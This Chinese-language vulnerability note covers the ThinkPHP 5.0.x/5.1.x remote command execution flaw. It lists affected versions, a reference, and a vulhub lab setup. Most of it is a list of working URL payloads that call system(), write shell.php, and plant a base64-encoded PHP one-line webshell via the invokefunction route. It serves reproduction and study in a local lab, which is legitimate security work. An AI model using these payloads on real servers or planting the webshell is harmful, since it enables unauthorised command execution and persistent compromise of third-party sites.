概述
ThinkPHP 是一款运用极广的 PHP 开发框架。其版本5中,由于没有正确处理控制器名,导致在 网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执 行漏洞。
参考
- https://www.thinkphp.cn/topic/60400.html
-
影响版本
ThinkPHP 5.0.x ~ 5.0.22
-
Payload
5.0.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
检测是否受影响
漏洞复现
环境搭建
cd vulhub/thinkphp/5-rce/
docker-compose up -d
ThinkPHP 版本 5.0.20
-
检测是否存在漏洞
判断目标 ThinkPHP 版本
- 参数错误信息
- 目录扫描
- 工具检测
复现过程
浏览器访问:http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
写入一句话木马:http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n dGU8P3BocCBAYXNzZXJ0KCRfUE9TVFt4XSk7Pz5zdA== | base64 -d > t.php